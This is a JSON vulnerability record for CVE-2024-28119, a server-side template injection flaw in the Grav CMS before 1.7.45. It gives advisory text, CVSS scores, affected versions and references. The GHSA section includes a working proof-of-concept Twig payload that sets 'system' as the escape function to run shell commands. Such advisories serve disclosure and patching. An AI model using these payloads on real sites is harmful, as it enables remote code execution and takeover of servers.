{"id":"CVE-2024-28119","aliases":["CVE-2024-28119","GHSA-2m7x-c7px-hp58"],"related":[],"kind":"vulnerability","state":"published","title":"Grav vulnerable to Server Side Template Injection (SSTI) via Twig escape handler","summary":"Grav is an open-source, flat-file content management system. Prior to version 1.7.45, due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Version 1.7.45 contains a patch for this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Grav is an open-source, flat-file content management system. Prior to version 1.7.45, due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Version 1.7.45 contains a patch for this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nDue to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.\n\n### Details\nhttps://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99\n```php\n/**\n     * Defines a new escaper to be used via the escape filter.\n     *\n     * @param string   $strategy The strategy name that should be used as a strategy in the escape call\n     * @param callable $callable A valid PHP callable\n     */\n    public function setEscaper($strategy, callable $callable)\n    {\n        $this->escapers[$strategy] = $callable;\n    }\n ```\n Twig supports the functionality to redefine the escape function through the setEscaper method. \nHowever, that method is not originally exposed to the twig environment, but it is accessible through the payload below.\n\n```plaintext\n{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}\n```\nAt this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.\n\n\n### PoC\n```\n{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}\n{{ var_dump(['id'] | escape('system', 'system')) }}\n```\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Grav es un sistema de gestión de contenidos de archivos planos de código abierto. Antes de la versión 1.7.45, debido al acceso sin restricciones a la clase de extensión twig desde el contexto grav, un atacante podía redefinir la función de escape y ejecutar comandos arbitrarios. El procesamiento Twig de páginas estáticas puede ser habilitado en la portada por cualquier usuario administrativo autorizado a crear o editar páginas. Como el procesador Twig se ejecuta sin entorno de pruebas, este comportamiento se puede utilizar para obtener la ejecución de código arbitrario y elevar los privilegios en la instancia. La versión 1.7.45 contiene un parche para este problema.","source":"nvd"}],"published":"2024-03-21T22:02:04.145Z","modified":"2026-09-10T03:50:00.255Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 1.7.45","status":"affected"}],"vendor":"getgrav","product":"grav","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.7.45","status":"affected"}],"vendor":"getgrav","product":"grav","cpe":"cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.7.45"}],"ecosystem":"Packagist","package":"getgrav/grav","purl":"pkg:composer/getgrav/grav","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.7.45"}],"vendor":"getgrav","product":"grav","cpe":"cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/getgrav/grav/commit/de1ccfa12dbcbf526104d68c1a6bc202a98698fe","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99","tags":["product","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28119","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-03-28T18:13:10.316Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-28119","url":"https://www.cve.org/CVERecord?id=CVE-2024-28119","licence":"CVE Terms of Use","modified":"2024-08-21T22:55:01.977Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2m7x-c7px-hp58","url":"https://github.com/advisories/GHSA-2m7x-c7px-hp58","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:00.255Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-28119","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28119","licence":"Public domain","modified":"2026-06-17T07:21:00.337Z"}],"updatedAt":"2026-11-25T22:58:37.827Z","epss":{"score":0.01584,"percentile":0.76288,"date":"2026-12-01T12:00:22.000Z"}}